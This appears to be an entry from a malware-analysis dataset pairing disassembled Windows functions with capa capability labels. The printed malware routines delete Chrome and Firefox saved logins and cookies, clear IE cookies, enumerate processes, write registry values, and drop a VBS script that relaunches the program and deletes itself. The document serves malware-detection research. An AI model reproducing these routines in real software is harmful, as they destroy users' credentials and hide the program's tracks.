joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4070fe
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x4566a8
call fcn.0042fcfd
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219e
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00405c20
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x18]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407165
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x407159
sub eax, 1
je 0x407159
xor bl, bl
jmp 0x40717e
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40716f
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.0040219e
call fcn.0040789d
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40718d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x4566a8
call fcn.0042fcfd
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219e
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00405c20
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x18]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4071f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x4071e8
sub eax, 1
je 0x4071e8
xor bl, bl
jmp 0x40720d
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x4071fe
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.0040219e
call fcn.0040789d
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40721c
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021ef
lea ecx, [ebp - 0x48]
call fcn.004021ef
lea ecx, [ebp - 0x18]
call fcn.004021ef
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.0040219e
push eax
push 0x4566a8
call fcn.0042fcfd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a93
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004020c1
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x78]
call fcn.004020b7
lea eax, [ebp - 0x1d0]
push eax
push 0x456668
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00405c44
pop ecx
mov ecx, eax
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.004020b7
cmp esi, 0xffffffff
jne 0x4073e4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.0040219e
call fcn.0040789d
add esp, 0x18
jmp 0x407418
test byte [ebp - 0x1d0], 0x10
je 0x4073e4
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x4072fb
movzx eax, byte [ecx + 1]
test al, al
je 0x4073e4
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x4567c8
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x407321
inc ecx
cmp ecx, 3
jne 0x407303
xor eax, eax
jmp 0x407326
sbb eax, eax
or eax, 1
test eax, eax
je 0x4073e4
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00405c44
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00405c20
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.004020c1
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x90]
call fcn.004020b7
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00405c44
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00405c20
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.004020c1
lea ecx, [ebp - 0x90]
call fcn.004020b7
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x60]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4073cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4073e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4072d7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.0040219e
call fcn.0040789d
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.004020b7
lea ecx, [ebp - 0x48]
call fcn.004020b7
lea ecx, [ebp - 0x60]
call fcn.004020b7
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407437
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021ef
lea ecx, [ebp - 0x18]
call fcn.004021ef
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.0040219e
push eax
push 0x4566a8
call fcn.0042fcfd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a93
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004020c1
lea ecx, [ebp - 0x48]
call fcn.004020b7
lea ecx, [ebp - 0x60]
call fcn.004020b7
lea eax, [ebp - 0x1b8]
push eax
push 0x456668
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00405c44
pop ecx
mov ecx, eax
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.004020b7
cmp esi, 0xffffffff
jne 0x4074e7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.0040219e
call fcn.0040789d
add esp, 0x18
jmp 0x4075e1
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4075c3
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x4075ad
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x407523
movzx eax, byte [ecx + 1]
test al, al
je 0x4075ad
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x4567c8
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x407549
inc ecx
cmp ecx, 3
jne 0x40752b
mov eax, ebx
jmp 0x40754e
sbb eax, eax
or eax, 1
test eax, eax
je 0x4075ad
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00405c44
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00405c20
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004020c1
lea ecx, [ebp - 0x48]
call fcn.004020b7
lea ecx, [ebp - 0x78]
call fcn.004020b7
lea ecx, [ebp - 0x30]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407604
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x4075fb
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4074ff
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.0040219e
call fcn.0040789d
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.004020b7
lea ecx, [ebp - 0x30]
call fcn.004020b7
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x4075e3
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x4074d5
Function at 0x407613
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021ef
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040bf02
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.004020c1
lea ecx, [ebp - 0x30]
call fcn.004020b7
mov edx, 0x4564e4
lea ecx, [ebp - 0x18]
call fcn.00403fbe
test al, al
je 0x407680
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.0040219e
call fcn.0040789d
mov bl, 1
jmp 0x40771a
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040204e
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407665
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.0040219e
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00411990
mov ecx, eax
call fcn.004043ec
mov ecx, eax
call fcn.00411cce
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00403536
lea ecx, [ebp - 0x30]
call fcn.004020b7
test esi, esi
je 0x4076f9
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40766f
push ecx
push ecx
call fcn.004078a9
test eax, eax
je 0x40771d
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.0040219e
call fcn.0040789d
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.004020b7
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40787e
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x40772d
push eax
push eax
mov byte [0x462a6d], al
mov dword [0x462a70], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret
Function at 0x407ff6
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x4632c8
push edi
mov ecx, esi
call fcn.00402046
push eax
mov ecx, esi
call fcn.0040204e
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x463280
call fcn.0040204e
mov edx, eax
call fcn.0040bfdf
add esp, 0x14
xor edi, edi
test al, al
jne 0x408051
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00411749
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00411990
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00406e4d
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00403536
lea ecx, [ebp - 0x48]
call fcn.004020b7
lea eax, [ebp - 0x78]
push eax
push 0x456664
push 0x45695c
call fcn.0042fcf2
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00408250
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00403536
lea ecx, [ebp - 0x30]
call fcn.00403536
lea ecx, [ebp - 0x18]
call fcn.00405e33
push 0x456b00
push 0x456b04
lea ecx, [ebp - 0xc0]
call fcn.00403540
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403540
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406e4d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004081da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406e4d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00405e2a
lea ecx, [ebp - 0x48]
call fcn.00403536
lea ecx, [ebp - 0x30]
call fcn.00403536
lea ecx, [ebp - 0x90]
call fcn.00403536
lea ecx, [ebp - 0xa8]
call fcn.00403536
lea ecx, [ebp - 0xc0]
call fcn.00403536
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00405e21
push ecx
lea ecx, [ebp - 0x60]
call fcn.004043ec
push eax
lea ecx, [ebp - 0x18]
call fcn.00402046
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.004043ec
mov edx, esi
mov ecx, eax
call fcn.00411ec1
pop ecx
pop ecx
test al, al
je 0x4081bc
push edi
mov eax, 0x45694c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.004043ec
push eax
push 0x45650c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x4081bc
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00403536
lea ecx, [ebp - 0x60]
call fcn.00403536
lea ecx, [ebp - 0x78]
call fcn.00403536
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4096f5
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004021ef
call fcn.00411b8e
push 0
push 2
mov byte [0x462e08], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x4098d3
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x4098b6
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.00403540
mov ecx, dword [ebp - 0x378]
push 0x456ef0
call fcn.00411bbc
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.004118dc
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x456ef4
call fcn.004118dc
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x456ef4
call fcn.00411bf2
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.00411a52
push eax
push 0x456ef4
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.00411a52
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.00405bb8
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00405c20
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00405b42
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00405c20
pop ecx
push eax
mov ecx, edi
call fcn.004020c1
lea ecx, [ebp - 0x30]
call fcn.004020b7
lea ecx, [ebp - 0x48]
call fcn.004020b7
lea ecx, [ebp - 0x60]
call fcn.004020b7
lea ecx, [ebp - 0x78]
call fcn.004020b7
lea ecx, [ebp - 0x90]
call fcn.004020b7
lea ecx, [ebp - 0xa8]
call fcn.004020b7
lea ecx, [ebp - 0xc0]
call fcn.004020b7
lea ecx, [ebp - 0xd8]
call fcn.004020b7
lea ecx, [ebp - 0xf0]
call fcn.004020b7
lea ecx, [ebp - 0x108]
call fcn.004020b7
lea ecx, [ebp - 0x120]
call fcn.00403536
lea ecx, [ebp - 0x138]
call fcn.004020b7
lea ecx, [ebp - 0x150]
call fcn.004020b7
lea ecx, [ebp - 0x18]
call fcn.00403536
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x409742
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a68b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40a7c1
cmp byte [edi + 0x3d], bl
je 0x40a7c1
call fcn.00402a8f
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.004084b1
pop ecx
pop ecx
test al, al
je 0x40a6e0
xor al, al
jmp 0x40a7c3
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00402174
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.0040233a
mov ecx, eax
call fcn.00402ce0
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402046
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.0040233a
mov ecx, eax
call fcn.00402ce0
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.00408863
sub eax, ebx
je 0x40a748
sub eax, 1
je 0x40a74b
dec eax
sub eax, 1
jne 0x40a7b4
inc eax
jmp 0x40a7b2
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.0040233a
mov ecx, eax
call fcn.00402ce0
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40a790
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.0040233a
mov ecx, eax
call fcn.00402ce0
push eax
call fcn.004317e8
add esp, 0x10
cmp esi, eax
jne 0x40a7b0
cmp byte [edi + 0x3d], bl
je 0x40a7ae
test esi, esi
jne 0x40a6ec
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00405ad8
jmp 0x40a6ec
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.004020b7
mov al, bl
jmp 0x40a7c3
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bea5
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40befc
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40befe
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40bf02
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40bf5b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
jmp 0x40bf60
push 0x4564e4
mov ecx, esi
call fcn.0040219e
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40bf6e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x4564e4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40bfce
cmp dword [ebp - 4], eax
jbe 0x40bfce
push dword [ebp - 4]
call fcn.0042fa66
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.0042c2a0
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.00403540
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40bfdf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c04f
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40c04f
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00403fcb
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00404052
mov al, 1
jmp 0x40c051
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c056
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40c0a6
push esi
lea ecx, [ebp + 0xc]
call fcn.00402046
push eax
lea ecx, [ebp + 0xc]
call fcn.0040204e
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40c0a8
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.004020b7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c0b7
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c0f5
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c0f7
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c0fb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c153
push esi
lea ecx, [ebp + 0xc]
call fcn.00402046
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.004043ec
push eax
push 1
push 0
push str.pth_unenc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40c155
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00403536
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c164
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 4]
mov dword [ebp - 8], 1
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40c1b0
push esi
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x456938
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c1b2
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c1b6
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c1f4
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c1f6
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40c1fa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40c238
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c23a
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c2a2
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40c2be
xor al, al
jmp 0x40c2d0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret